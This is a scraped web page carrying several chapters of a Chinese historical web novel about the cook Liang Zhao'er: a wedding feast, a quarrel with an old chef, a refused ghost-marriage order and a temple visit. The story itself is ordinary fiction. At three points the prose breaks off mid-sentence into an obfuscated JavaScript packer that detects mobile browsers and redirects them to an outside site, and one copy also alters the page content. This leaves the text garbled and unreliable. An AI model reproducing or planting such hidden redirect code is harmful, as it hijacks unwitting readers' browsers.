梁照儿愣了半晌说：“我有什么好瞧的，不也是两个鼻孔一张嘴！” 崔璋的手上沾着菱角粉，碰了水怎么刮也刮不干净，他心里一阵烦躁，闷闷道：“没什么好瞧的。” 梁照儿随意问了几件和月娘有关的事，崔璋一听便动了怒。 他阴沉着眸色将梁照儿逼到墙角，一字一句道：“不要在我面前再提她。” 梁照儿不大习惯这般亲密的距离，右手攥紧了拳头，用小臂去顶崔璋的胸膛。 “……我不知道为什么你们都要我和月娘在一起，甚至有时候连我自己也会恍惚，我好像生来就该与她在一处。” 崔璋平静的语调下隐藏着惊天骇浪的情绪。 梁照儿一听这话，七魂丢了三魂，她镇静说：“人都是要成亲的，月娘是个善良的好孩子……” 话还未完，就被崔璋打断，他嘲讽道：“好孩子？我记着你比我还小上好几岁。” 梁照儿勉强一笑，故作轻松道：“我也算你长辈，自然得为你打算着。” 崔璋气极反笑，“‘娘’这个字是块砖不成，要的时候搬出来垫垫脚，不要的时候又弃若敝履。” 他怕梁照儿听不懂，又解释说：“就是不要的意思。” 梁照儿恼羞成怒道：“我听得懂！” 她并非愚钝之人，自然洞悉崔璋的心思。 见她并不应答，崔璋望着垂眸顺眼的她，喉结一阵滚动，干涩道：“……你若是认我，便不要再同旁的男人那么亲密。” 话音到了最后，蒙上一丝祈求的意味。 崔璋说完便后悔了。他一向自诩端方守礼，是三纲五常最忠实的拥趸。 梁照儿趁他发愣的空档，一个弯腰从他身下钻了出来。 两个帮厨的邻居大娘进来了，崔璋见状只能愤愤地振袖离开到前头去。 其中一位大娘问：“这郎君是打哪来的？” “一时迷路寻不到茅厮，才来问问，”梁照儿又问：“外头怎么样了？” 那大娘回道：“都好着呢，新郎的大舅哥亲自送了新娘子来，快到巷子口了。” 梁照儿点了点头，加快了手上的动作，将蛋糕放进了烤箱。帮厨娘子们探头探脑地看向红砖炉，怕显得没见识，也不好意思问。 过了大半个时辰，一股糕点香飘了出来。没有厨房手套，梁照儿叠了好几层抹布，握住陶瓷盘的边缘才将蛋糕胚拿了出来。 她烤的是老式的脆皮鸡蛋糕，上面没什么纹路，像一只黄澄澄的大圆盘。 先头那位帮厨娘子忍不住问：“这光秃秃的糕点拿来做甚么？” 梁照儿回说：“喜糕，不过还没做完。” 那娘子撇了撇嘴，惊异道：“哎唷，倒从没见过这样的做法，这能行麽？” 梁照儿不多言语，只把打发好的酥油信手抹在蛋糕表面，刮至光滑后又将渍好的樱桃煎点缀在上头。 她又将两只乳糖团子捏成玉兔的模样，两只玉兔拱着一个“囍”字。 见状那二人围了上来，纷纷叹道：“不过这样搭起来，显得很气派呢。” “是啊，这扬州城里的席面，大大小小的我也去吃过不少，这样的喜糕喜饼倒很新鲜。” 几人手脚麻利地将席面备好了，炮仗声在外头响了片刻，听得喜婆高喊一声“请新妇脚下慢”，玉梳便被送进了新房。 席面上除去常见的烤鹿肉、乳炊羊、炖猪肉等菜，还有梁照儿特意做的糟蟹和虾蕈羹，每桌拢共四荤四素，两例小菜，两道糕点。 婚礼蛋糕摆在正中间主桌上吸引了不少人在意，梁照儿笑着和不少来宾宣传了一阵，便端着单独给玉梳留的一小份蛋糕进了里屋。 她叩了门站在廊下，玉梳轻声道：“进来罢。” 梁照儿闻声走到她身边，将糕点递给她：“一天没吃东西了，垫垫肚子，我特意将糕点上的两只玉兔都拔下来给你。” 玉梳身着红色花钗礼衣，她将盖头掀起搭在头上，露出一张被绞过的桃花面，浅浅地笑了。 看见面前的糕点，她讶然道：“这般可爱，我倒舍不得吃了。” 说着，玉梳便捏起乳糖团子做的玉兔便一口咬下了它的头。 她又道：“我今日瞧见贺家的挺个肚子，她那肚子格外的大，看着都有些骇人。” 贺家的如今瘦得只剩一把骨头，四肢细得像几根木棍支着分外隆起的肚子。她见人就说肚子里的孩子不安分，整日闹腾，吃什么吐什么，肯定是个小子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401530|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边的人都围在她左右纷纷道贺，说她好福气。 “她那样的属实少见。”梁照儿感叹道。 玉梳一口气将糕点都吞进肚子里，又急急地喝了一口茶水，将梁照儿拉到身边，“你说，我不会也和贺家的那样罢？” 说完她便后悔了，梁照儿虽嫁了人，可于这事上却和她一样是个懵懂不知的。 梁照儿握住玉梳的手，顶了顶她的肩膀说：“别的不知道，不过瞧着张虎那体格，照贺铁匠也不差了！” 玉梳羞红了一张脸，小声说：“你这个不知羞的，娘给我的避火图我还没瞧呢。” “在哪呢？”梁照儿探头探脑地好奇道。 从前她一直听说有这么个物件，却还从未亲眼见过。 玉梳努了努嘴，看向一旁的樟木箱子，“在那樟木箱子里头，赶明儿你成婚了，给你也打一只。” 梁照儿笑着摇了摇头，转身出门，“我先到外头去了，你在这里候一候新郎倌罢。” 刚一回席，梁照儿便听见张母正同身边的人在闲谈，说起玉梳曾在崔家做事。 张老太拄着拐杖洋洋得意道：“还得是我儿有本事，亲挑了个在富户人家做事的大丫鬟，眼界自不必说了，带来的银钱也不少。” 梁照儿听着这话心里有些不舒服，气愤地吃了一盏酒。 张老太同梁照儿套近乎道：“听亲家说你自个儿开了个食肆忙活，只有老板娘没老板怎么像话，女人么好好地教养孩子也就是了，日后让你男人在外头忙活。” 一只缠着白布的大手将酒壶拎了起来，温和的嗓音从头顶上飘来，“少喝些。” 梁照儿抬头望见面前身着玄色劲装的男子，便笑道：“玉松大哥你甚么时候回来了？” 玉松给张老太斟了一杯酒，嗓音中隐隐含着威胁，“伯母说了这么久话想必口也干了。” 张老太见有人替梁照儿撑腰悻悻笑了两声，转而又寻旁的人闲舌。 “你怎知我便是玉松？”玉松挑眉看向梁照儿问道。 梁照儿长睫微垂，声音雀跃道：“你和玉梳么，活脱脱长了一张脸，叫旁人一看就晓得你们是兄妹。” 她又指了指自己，“那么你猜猜我是谁？” 玉松双手抱胸，声音中隐隐含着笑意，陪她演道：“想来你便是照儿？” “玉松大哥此次回来，还走么？”梁照儿问道。 玉松摇了摇头，“不知道，不过或许会在扬州城久待些时候，此番回来还有些旁的事。” “甚么事？” 玉松含糊其辞说：“寻人。” 梁照儿见状便不再过多探究，连忙道：“我在卸盐巷渡口边开了家食肆，那里四通八达，若大哥有需要也可将所寻之人的特征告知于我，也好帮您留意着。” 玉松点了点头，随即被张家两兄弟拉去喝酒。 一顿饭吃的宾主尽欢，等众人起哄闹了一通洞房后，才慢慢散了。 关大娘指着梁照儿对着玉松吩咐道：“漏夜难行，送了你这妹妹回去罢。” 梁照儿有些忧心地望向关大娘，“送了我，玉松大哥还得回头来接您，岂不多折腾？” 三人一道出了张家，关大娘回头恋恋不舍地看了一眼，又道：“往后那屋子就我一个，清清冷冷的。” “正好，往后大娘天天与我作伴，不想回去了同我一处作伴。”梁照儿笑着挽上关大娘的手臂，安慰道。 在巷子口处分了别，梁照儿朝北边走。崔璋一直跟在她身后，并不出声。 她顿身回头看向垂着头的男人，说道：“你一直跟在我后头算怎么回事？” “顺路。”崔璋掀开薄薄的眼皮，声音淡淡。 梁照儿指了指亮起灯笼的渡口，“再晚就没船了。” 崔璋淡淡应了一声，梁照儿又说：“我虽是被买来做你爹小老婆，却还未来得及行礼过户，说是个贴身伺候的丫鬟也无不可，细算起来你我确实没什么瓜葛。” “所以呢？” 见梁照儿要与自己撇清关系，崔璋攥紧了拳头，抬头望向她，神色一片幽深。 梁照儿顺了口气，继续说：“有些事晓得了便藏在心里，讲出来日后还怎么相处？” 崔璋眼神掠过她的面庞，抬手挡住她的视线，苦笑着说：“你不说我以后能做大官，我还怕你缠上我呢。” 这话气得梁照儿霎时跳了起来，她翻了个白眼说：“你这人简直不晓得香臭，我懒怠同你说了！” 崔璋见她这副咋唬的模样，勾了唇角轻笑一声，站在门口望着梁照儿进去吹了灯睡下才走。 21. 红丝水晶脍与神秘侍女 冷雨终于歇了，一轮金乌难得地悬在空中，地上的水渍犹未干，一阵风吹来还是叫人忍不住抱臂求暖。 梁照儿慌慌忙忙地赶来营造处，燕环将手中的刀猛地一掷，那刀定定地立在案板上。 燕环捉裙追在梁照儿后面，绕到她跟前，“你这是怎么了，今日爱答不理的，莫不是也要学那些男人，和人家约了盟誓又反悔？” 梁照儿想起那日在食肆几人的荒唐模样，扶额道：“这又是哪来的说法？” 采荞从外头洗了菜进来，右手环着一簸箕萝卜，头上还顶着一小罐腌菜。她左脚轻轻一勾将门带上，神色紧急道：“李瘸子恍恍惚惚病了这一阵，听羊甲头说已好全了，要回营造处来！” 燕环觑了一眼梁照儿，连忙说：“嗐，我才不耐烦同李瘸子一道做事呢！他瞧着我总眼睛不是眼睛、鼻子不是鼻子的。” 梁照儿心知燕环是为了自己，笑着说：“事先来时，羊甲头便说了我是顶李瘸子的差，如今他来了我也该回去了。” 话音未落，一个五短身材的干瘦老头便冲开了门，双手背在身后，一双鹰眼打量起四周来。 羊安顺跟在他身后，气喘吁吁道：“李瘸子，你这是病好了还是压根没病，一个瘸子跑的比我还快！” 李瘸子一进厨房便伸手四处拨拉，吹胡子瞪眼道：“我要瞧瞧你请来的是个甚么人，搞三捻七的出些花头。” “对不住娘子，原说明日再让他来换您，不成想他今日便跑了过来。”羊安顺对着梁照儿满脸歉意道。 梁照儿摆了摆手，又冲着李瘸子温声道：“不妨事，想来这位便是李爷爷罢？您是十里八乡闻名的大厨，既来了也好指点指点奴。” 李瘸子闻言脸色缓和了三分，瞥了一眼梁照儿对着羊安顺道：“这就是你请来帮厨的？” 燕环冷嘲暗讽道：“唷，原配还没死绝呢，续弦就抬进府了。” 这话虽在理，可到底太糙了些。 “你这粉头，就不该许你进来，回你的翠袖坊卖唱去！”李瘸子嘴笨讲不过燕环，气愤道。 燕环不甘示弱道：“你我都是下九流的人，谁又比谁高贵些不成？还将自己当成燕来楼的大厨呢？都是几百年前的老黄历了——早就因吃酒闹事叫人家赶出来了！” 二人你来我往争得面红耳赤，说着便要扭打起来。羊安顺连忙上前去扯，却不想结结实实地挨下燕环一记耳光。燕环望向羊安顺脸上的五指印，讷讷地站回一边。 “哎唷，伤了面上可不成，外头人还看着呢。”采荞连忙掏出一颗鸡蛋递给羊安顺，示意他用鸡蛋敷面。 梁照儿瞧着临近晌午，便对着燕环和采荞道：“先预备下中午的餐食。” 今日送菜的人额外给了几种河鲜，一只竹篓里装着新鲜的河虾，另一只里装着几种常见的河鱼，都是才从江里打捞上来的。梁照儿思忖片刻说道：“将这些河鲜都收拾出来，也好打打牙祭。” 采荞点了点头，半蹲着身子将足有十斤重的大竹篓抗在肩上，把里头的虾全倒进一只大木盆里便坐到一边去给鲜虾去壳去肠线。 难得这么多新鲜的淡水活鱼，不做鱼脍倒有些可惜。 本朝有名可吃的鱼脍多达三十余种，梁照儿今日预备做红丝水晶脍和鲜虾蹄子脍。所谓红丝水晶脍便是选用颜色较红的鱼肉切丝。 燕环将鱼去鳞去鳃后递给了梁照儿。 梁照儿抽出刀屉里的一把桑刀，她仔细瞧了那刀，又菜又钝，便问采荞：“厨房里头可有磨刀石？” 卧在一边摇椅上，用余光一直暗中观察梁照儿的李瘸子冷哼一声，不屑道：“这厨房里头倒是来了位千金小姐，磨刀还要打发个人伺候着。” 梁照儿压下心中的怒火，拿出一只大瓷碗倒扣在案上用碗底磨刀。 刀刃来回摩擦着，铿铿的磨刀声带着微微的刺耳感，李瘸子觉着一阵阴风卷过他的脖子，缩到一边去背对着梁照儿。 梁照儿握住那把桑刀将鱼肉从鱼骨上片下，她的刀工不算好，剔骨时常常会连带不少鱼肉下来。整条鱼片下来，切口处显得有些磕磕巴巴。 李瘸子看得直皱眉，“蹭——”得一下站起身来，背着手在梁照儿背后转来转去。梁照儿感受到身后的人，猛地将刀放在砧板上。 桑刀落地，发出哐啷一声响，吓得李瘸子一哆嗦。 他顺了顺胸口的气，心梗道：“你这小大姐，未免太过浪费了，好好的一条鲷鱼，叫你片成这个样子。” 梁照儿睨了他一眼，先不反驳，只是继续按照自己的法子做着。她用蒜、姜、橘、白梅和熟粟黄、梗米饭、精盐和酱油八种调料制成了八和齑。 这是个古方子，贾思勰曾在《齐民要术》中记载过，用此料沾着吃的鱼脍也被称作金齑玉脍。梁照儿沾沾自喜地将片好的鱼脍连通蘸料一起推到李瘸子面前，她说道：“还请李师傅尝过这道红丝水晶脍再说也不迟。” 李瘸子轻哼了一声，将梁照儿递过来的筷子放在一边，从自己怀里掏出一副银制的筷子，上头还雕着饕餮纹样。那筷子尾方头圆，既象征着天圆地方，又能轻松夹起各种食物。 只见李瘸子抬手夹起一片鱼生，蘸了少许酱料送进嘴里一抿，说道：“不过是些奇技淫巧，登不得大雅之堂。” 一听李瘸子这话，梁照儿气极反笑，她还是头一遭被人这般评价。 燕环和采荞面面相觑，唯恐梁照儿同李瘸子吵起来，忙在一旁宽慰她。 梁照儿理了理心绪，笑道：“您原是燕来楼的大厨，自有些傲气，可也不好无缘无故地贬低奴不是？” 李瘸子将筷子收了回去，大叫道：“我哪里是无缘无故，瞧着你这毛丫头还有几分偏才，小老儿我今日就破例替你解解惑。” 他从笼屉里抽出一把柳叶刀，说道：“桑刀刀身薄，重量适中，刃利且有弹性，确是切鱼的好刀。可片鱼却得用柳叶刀，其状细长，刀身轻盈且刀刃锋利。只有用柳叶刀，才能片出薄如蝉翼的鱼片和可穿针而过的细丝。” 说着，李瘸子手起刀落间，一条红鲷鱼被他完完整整地脱骨取出。鱼骨呈在瓷盘里，将鱼合上半点瞧不出脱骨的痕迹，看起来宛若刚从水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那女子急急地喝尽了一盏热茶，语速一改先前慢吞吞之色，迅速道：“我是城东边布商任家的侍女，家中小少爷不日便要婚配，喜宴上用的喜饼和喜糕还未寻到合适的厨子来做。恰逢有人向我推荐梁家食肆做的喜糕，还望娘子应下这桩生意。” 梁照儿和关大娘相互看了一眼，异口同声道：“自然使得。” 任家侍女抚着胸口道：“幸而娘子同意了，不然我家主君只怕得责罚我了。” 梁照儿一听这话，心中便升起了一阵疑问。按常理而言，富贵人家娶亲都是早早地就定下婚期，不会有这般急着要喜饼喜糕的情况。再者，因侍女没找到订做喜饼的食肆便要降罪责罚，这样的主家未免也太不尽人情。 故而她问道：“是甚么缘由要的这样急？” 那侍女密而不语，半晌才从袖子里掏出两贯钱说：“娘子若接下这桩生意，定金立即便可付给您，三日后过了夜送到宅子上再付给您剩下的尾金。” 22. 阴婚之俗与糖醋小排 关大娘拉了一把梁照儿，神情严肃，无声地对她摇了摇头。 梁照儿见状，尽量秉着缓和的声音对那侍女道：“可是不巧，奴这食肆以卖早点为主，清晨便要起来做准备，故而歇的早，怕是不便夜半前来……” 这借口很是蹩脚，那侍女一听便蹙眉不耐烦道：“方才不是还说可以，怎的出尔反尔？” 关大娘满脸歉意地说：“对不住了这位娘子，扬州城里的食肆繁多，您可再去瞧瞧其他的。” 侍女神情古怪地看了她们一眼，莲步微移，恍若一阵风似的飘出去了。 见此情景梁照儿觉得背后一股寒意攀上了她的脊椎。她忍不住打了个寒战：“青天白日的，我怎的却瞧着那娘子有些发怵。” 关大娘觑了门口一眼，意味深长道：“成婚一般都在黄昏的时候，你也不想想甚么样的人才会在夜半成婚？” “您的意思莫非是……” 梁照儿心下一惊，阴婚这样的事她还只在民俗怪谈中看过，不想今日却在现实中瞧见了一桩活生生的例子。 她愤慨道：“这样的事，官府就不下令禁止吗？” 关大娘摇了摇头，又道：“自前朝起阴婚之俗盛行，今虽颁布禁令，可一时间也难以遏制。而今民间还演化出鬼媒人这种行当，在四乡八里寻求男女死者，给两家牵线搭桥。” 梁照儿心中一颤，“还好大娘您方才拉住了我，死人的生意可不好沾，承受不住这业力。” “嗐，任家家大业大的，总不至于缺个厨娘替他们做喜饼。想来也是怕招了忌讳，才到外头寻人来做。”关大娘说道。 梁照儿总觉得任家似从谁那听说过，还不待她细想便被门外一阵叩门声吓了一跳。 被方才那事一弄，关大娘壮着胆子朝外喊道：“外头是人是鬼？” 立文爽朗的笑声从外头传来，他道：“如今正是大下午，阳气正是足的时候，哪来的鬼？” 梁照儿开门接过立文手里的食盒，笑着对他说：“方才在屋子里和我姑母讲了些精怪故事，这才一时冲撞了。” 立文问道：“甚么样的精奇怪事倒让二位嚇成这样？” 她随口扯了话本子里一个故事道：“《鉴诫录》里头的一则故事，说是曹孝廉爱慕一尊侍女雕像，竟然愿和这泥土塑的小娘子结为冥婚，‘终身不媾凡庶矣’。” 立文思忖片刻，神秘兮兮道：“扬州城里最近出了件大事，冶春巷任家五郎君去了。这五郎君乃是任老爷最钟爱的妾室桃姨娘所出，也才十五六岁的年纪，染了一场急病便去了。听说近些时候任老爷一直在物色与五郎君同龄的女子配阴婚，也不知配到嚜？” 梁照儿心道：自然是配到了，这不，都来订做婚仪用的喜糕了。想来任家也不会随便选个无父无母的姑娘，真不知哪家好人家的姑娘死了也不得安生。 见梁照儿和关大娘都不说话，立文不解道：“莫非你们都不知道？” 关大娘一阵无语：“人家高门大户里头的密辛，我们这些升斗小民又没趴着人家的床底，还没靠近宅子就被家仆赶到二里地外去了，能从哪里得知？” 梁照儿也点了点头。只瞧方才任家的侍女穿戴之物都比寻常殷实人家的女儿有过之无不及。 立文不好意思地挠了挠脑袋，他是家生子，从小跟在韩景彦身边长大，对外头的事情了解的不算多，身上亦有几分天真的傻气。 他从袖子里掏出一封信笺递到关大娘手里，“这是我家郎君今日写的食评。” 自打韩景彦知晓关大娘识得几个字后便日日借着送食盒回来之际，将对每日菜肴的评价都写在纸上。他写的认真，且用词通俗易懂，还时常针对菜式做法提出自己的见解。 见立文转身走了，关大娘无奈将信笺塞进手中，“你什么时候才向韩相公禀明身份？倒让我这老婆子做中间人。” “韩郎君出身显赫且人品贵重，若是被人知晓他与我书信往来，只怕生出些闲事来。”梁照儿双睫翕动，轻声道。 上次去知州府，府中众女使小厮皆一副敛神严肃的模样，自己与宝绮叙话玩乐时，胡妈妈都在一旁远远地守着。想来崔氏治家颇有手段，且对一双子女十分珍视。 到哪座山头，便得唱哪座山头的歌。崔氏说起来也算扬州城里的第一夫人，与权贵相交须得拿捏好那个度，既得让贵人觉得你是真心与其相交，又不能让他们觉得你逾矩，摆不正自己的位置。 难办。 梁照儿把握不好这个度，索性躲在另一个人的壳子后头。 总归关大娘已是能做祖母的年纪，韩景彦与之书信往来得勤些，还能称为尊老爱幼？ 她展开微黄的信笺，笔墨不浓不淡，信上字体是简洁大方的楷体，颇得了几分颜真卿的风骨，兼具蚕头燕尾，却更显轻巧。最主要的是从头至尾一字未错，让梁照儿想起从前在博物馆瞧见的状元试卷，不得不佩服他们，照她这种写十个字错三个字的马虎性子，只怕将宣纸用光了也答不出一张卷来。 尽管梁照儿只会认简体字，但好像认繁体字的能力从出生开始便镌刻在了华夏儿女的血液里，她连蒙带猜，能将意思猜个七七八八。 昨日送去的几道菜中，韩景彦最中意的还属那道糖醋小排。 他写道：猪肉甘温，善通血脉；醋酸温，开胃消食。整体秾甘肥浓，实为上品。 梁照儿抿嘴一笑，没想到韩景彦偏好酸甜口的食物。她正提笔回信时，大黄站直了身子扒她腿，一个不注意桌上的信纸掉在了地上。 大黄闲庭信步地踩在信纸上，印下一只梅花似的小狗爪。看见梁照儿生气的眼神，大黄偏了偏头，用湿漉漉的眼神望向她，似乎并不解她的情绪。 梁照儿无奈地将大黄抱起来，它如今长大了不少，成日里在屋前屋后四处疯跑，长毛上还沾着几片枯树叶，“你瞧你，在哪弄的。” 她努力握着毛笔歪歪扭扭地写下了几个字，看着如同鸡抓的蝇头小字，梁照儿觉得有些自惭形秽。解答完韩景彦的疑惑，她还学着年长女性的口吻劝说了韩景彦读书不必太用功，顺便催了一波婚，让他考虑一下个人问题。 决定好明天的菜谱后，梁照儿将回信放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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信笺还未封口，想来是梁照儿刚写完准备寄给那人的。蔡宣季话里带着浓浓的醋意，梁照儿闻言立刻将信封塞进袖子里，淡淡道：“不过一熟客罢了。碰巧今日没预备什么食材，只有茶泡饭，可使得？” 他连忙道：“使得，使得。” 望着梁照儿在案前忙活的背影，蔡宣季敛下面上笑容，他笑起来与不笑简直活脱脱两个人。 蔡宣季此番前来一是为告别，年关将近，他不便在建隆寺久居。二便是受崔璋所托，将他画的画作带来给梁照儿。 自打上次崔璋从城里吃完酒回去，整个人也不知受了什么刺激，除了去私塾做西席外的时间都用来作画。叫蔡宣季看来，画的简直叫一个群魔乱舞。他劝崔璋既然这么爱画，不如去建隆寺门口摆个摊替人画镇宅佛像，还能赚些银钱，结果被轰了出来。 蔡宣季食指在桌上轻叩，他并不打算将那画给梁照儿。说心机深重也罢，他本就不算个良善之辈。 23. 建隆寺拜佛与萝卜丝油墩子 梁照儿将茶泡饭端了上来，茶叶用的是龙凤团茶，浅褐色的茶水刚刚没过米饭。她只放了一点盐，米饭带着的咸味。切好的咸菜丝堆叠在顶上，还撒了些葱花和芝麻。 蔡宣季尝了一口，赞道：“齿颊留香，我瞧着跟龙肝凤髓比也不差。” 梁照儿笑着说：“吃也吃了，现可说来此有甚么事了罢？” “相识一场，无事便不能登你这三宝殿了？”蔡宣季满脸的失落，眼角微垂，“快到了年关处，我也该回去了，今日是来辞行的。” 梁照儿若有所思地点点头，“回家呀？” “家么？也算是罢。”蔡宣季听见这个字眼，嘲讽地勾起嘴角，嗓音懒懒。 梁照儿记着蔡宣季家也算殷实人家，便从柜子里拿出两包核桃酥递到他手上，“带回去吃罢，年节里爱串门子，拿些糕点待客。” 蔡宣季望着油纸包好的核桃酥，内心一阵窃喜，正搜肠刮肚想些俏皮话讨梁照儿欢心时，不料她又补上一句：“到时有人说好吃，替我宣传宣传。” “......” 他无奈地点了点头，示意自己会帮忙宣传，又道：“了元大师不日便要回汴京，明日会在建隆寺开最后一场法坛。” 梁照儿若有所思地点了点头。自打她穿过来，先开始便是跟着舅舅舅妈种地，晒得乌漆嘛黑，接着又是被卖进伺候崔老爷，如今又忙着自立谋生，还未出去闲逛过。 她回说：“既如此，明日我同燕环她们也去瞧瞧，趁你未走也好替我介绍一番建隆寺的渊源由来。” 免费的寺庙讲解不用白不用，梁照儿还记得她去其他寺庙旅游时租的随身讲解还要五十块钱一小时呢。 又说任家那侍女回了冶春巷，只见任家黑色大门紧闭，檐下挂着两只白灯笼，门口站着的两只石狮子略比寻常的宽一寸，显得有些横行霸道。 侍女打了个弯从南侧小门进去，门房的小厮见她回来便讪笑着说：“金钿你回来了，主君和大娘子还有桃姨娘在前头主院里等你回话呢。” 金钿皱了皱眉头，嫌恶地看了一眼那小厮，不耐烦道：“知道了。” 她神情忐忑地进了主院的门，打了帘子进去。桃姨娘见她回来，手里还攥着杭绸手绢就连忙起身道：“可寻到了人？” 金钿摇了摇头，细声道：“如今快到年节，那些食肆一听是......都不肯做。” 桃姨娘闻言尖声道：“你说这些何苦来哉？” 说着她便跪在任老爷面前，哀哀切切道：“金钿虽是大娘子身边的女使，可对五郎的事情这般不上心，主君可得替妾做主。” 任老爷脸色不虞地望向金钿，任家大娘子周氏掀了茶盏，淡淡道：“我还要如何的上心，衣服命绣房的丫头们加班加点地赶制出来，棺材也先挪了预先给老太太备下的紧着五郎先用。” 桃姨娘一噎，周氏乘胜追击说：“若是有不周到之处，还请桃小娘见谅，咱们宅子里头哥儿姐儿都还算康健，我也是头一遭经白事，没甚么经验。” 这话听得周氏身边的侍女忍不住抿嘴偷笑，想着任老爷在一边才奋力止住。 桃姨娘气得想上去抓烂周氏的脸，周氏居然敢明目张胆地拿自己儿子早夭的事做筏子，这可是她心底最痛之处！ “主君，怎么说五郎也是您的儿子，年少早夭已是可怜，如今却连丧仪也不规不整。”桃姨娘在地上连磕了好几个头，白皙的额头留下两块红印。 周氏补刀：“不足七岁而殇为早夭，你儿子都有两个七了，纯属自己作死。” 任老爷哪里舍得看自己心尖尖上的桃姨娘受辱，对着周氏严肃道：“好了，你身为主母怎无半点容人雅量？” 周氏见状侧过头去不再作声。 桃姨娘见状一抹眼泪，得意道：“妾身有一念头，不如去燕来楼订，那里东西又贵重又体面，摆出来也给主君长脸不是？” “人蠢就少说话，激得旁人骂你才好！”任老爷虽喜欢桃姨娘好颜色，可她到底不及周氏正经人家出身来的明事理。 燕来楼乃是官家正店，去这样的地方订阴婚用的喜饼岂非自己活腻了去寻死？胡县尉曾透过口风：据说这位新上任的韩知州最厌烦这些怪力乱神之说，他总不好上去触霉头。 “城中其他食肆就无一人应下？”任老爷缓了口气又问道。 金钿回说：“卸盐巷原有一家食肆应承下了，可后来不知怎得又反悔了。” 任老爷眯起眼睛，不悦道：“你没告诉店主人，你是任家人么？” 金钿连忙道：“奴婢说了，那娘子还是不愿。” 冬雪飘落，红墙黛瓦和飞檐斗拱皆恍如身披白衣。古刹与松柏相依，偶有几声梵音传来，此外建隆寺再无其他嘈杂声音，静得出奇。 梁照儿问：“采荞今日不来是有甚么心事麽？” 燕环摆了摆手道：“她能有甚么事？不过是她男人不肯她出来，拘着她在家侍候她男人罢了。” 二人一齐攀山而上，梁照儿的绣鞋踩在薄雪上发出“嘎吱”的响声。 还未到古代时，梁照儿便好奇冬日雨雪之时，古人脚踏布鞋不会被沾湿吗？今日一试发现确实会沾湿。 梁照儿穿了一双素布鞋，在鞋底充了不少芦花和棉絮保暖，在雪地上一走，鞋头处渗进雪里濡湿了一大片。她甩了甩右脚，鞋头的水渍沾到了袜上，五个脚趾头都冻得有些发痒发胀。 “雪地难行，要不在此处歇歇？”燕环瞧出她的窘迫，问道。 梁照儿摇了摇头，歇再久也无法改变布鞋本就容易湿的特性。何况此处正在半山腰，索性一气上去到寺里再歇息。 她好奇地问道：“燕环，你的鞋袜没湿么？” 燕环白了她一眼，“肯定湿了呀，不过较你的来瞧好些。” 说着，燕环将裙子撩上去了些，露出一双绣着梅花纹的弓鞋。那鞋尖微微上翘如同弯弓，鞋帮低浅窄小，好在底厚。 “这是？”梁照儿从未见过燕环的脚，如今一见比她的足足小了一圈。 燕环无所谓地摆摆手道：“先前翠袖坊一位有钱的恩客偏好小脚的姑娘，妈妈为了挣他银子便给我们这一片姑娘们都缠了足......好在我年纪大，脚已经定了型，缠不得多小，便叫放了。那些年岁小些的，才是可怜。” 梁照儿担忧道：“那你还走得动么？” 燕环在梁照儿面前蹦跳了几下，又围着她转了个圈，“当然，你好容易闲下来，今日定陪你将这建隆寺看个遍。” “傻气。”梁照儿嘴上嗔怪，内心却涌过一阵暖流。 二人牵手一齐上了山，建隆山并不高，大约两三百米，小半个时辰便能上去。蔡宣季在建隆寺门口候着她二人，见梁照儿来了便立刻上前问道：“总担心你出了甚么事，我上下两趟怎么没瞧见你们人？” 燕环仔细打量了蔡宣季一眼，她在风月场里见惯了世面，只一眼便瞧出蔡宣季绝非凡胎。 她笑着说：“哎唷，这位郎君倒是个体贴人儿。” 蔡宣季转而朝向燕环行了个礼，互相介绍后便带着梁照儿和燕环朝里头去。建隆寺如今在打禅七，早晚课都停了，僧人也不必出门劳作，故而外头除了往来上香的信众便很少瞧见佛寺中人。 转身进了一间僻静的禅房，有一小沙弥正在里头打扫卫生。蔡宣季瞥了一眼梁照儿沾湿的裙角，又道：“在此稍后某片刻。” 他拎了一双圆头羊皮鞋进来，放在桌上，“娘子将这鞋换上，也能舒适些。” 蔡宣季怕燕环怀疑他别有用心，又补充道：“原是买了给家中小妹的。” 燕环笑嘻嘻地看向蔡宣季，说道：“你们读书人有个成语是怎么说来着……什么好大一张？” 蔡宣季答道：“出口成章？” 燕环摇了摇头，“倒不是这个。” “莫非是顺理成章？”梁照儿试探道。 燕环依旧摇了摇头。 蔡宣季忽然被激起了胜负欲，口吐珠玑：“杂乱无章、斐然成章……” “欲盖弥彰？”梁照儿问道。 燕环笑道：“正是这个了。” 梁照儿见自己比蔡宣季先答出来，忍不住暗自叫好。燕环一脸无奈地看向梁照儿，心道也不知道这丫头是真傻还是假傻。 “可我穿了你妹妹的鞋，是否不大妥帖？”梁照儿问道。 蔡宣季心道本就是给你的，哪来什么妥帖不妥帖一说？却仍和煦地笑着说：“这倒无妨，有句俗语说……” “救急不救穷！”梁照儿喜滋滋地抢答。 燕环瞥了那鞋子一眼，又对着蔡宣季道：“还不快转过去。” 蔡宣季立刻转了身过去，只听得背后一阵窸窸窣窣，梁照儿小声道：“……这里有些小了，得挤挤。” 男人或许总对大啊、小啊之类的词比较敏感，蔡宣季几乎条件反射般地回头问道：“怎么会小呢？” 他不知道梁照儿双足的尺寸，还特地问那鞋铺的店主人要了稍大一些的。 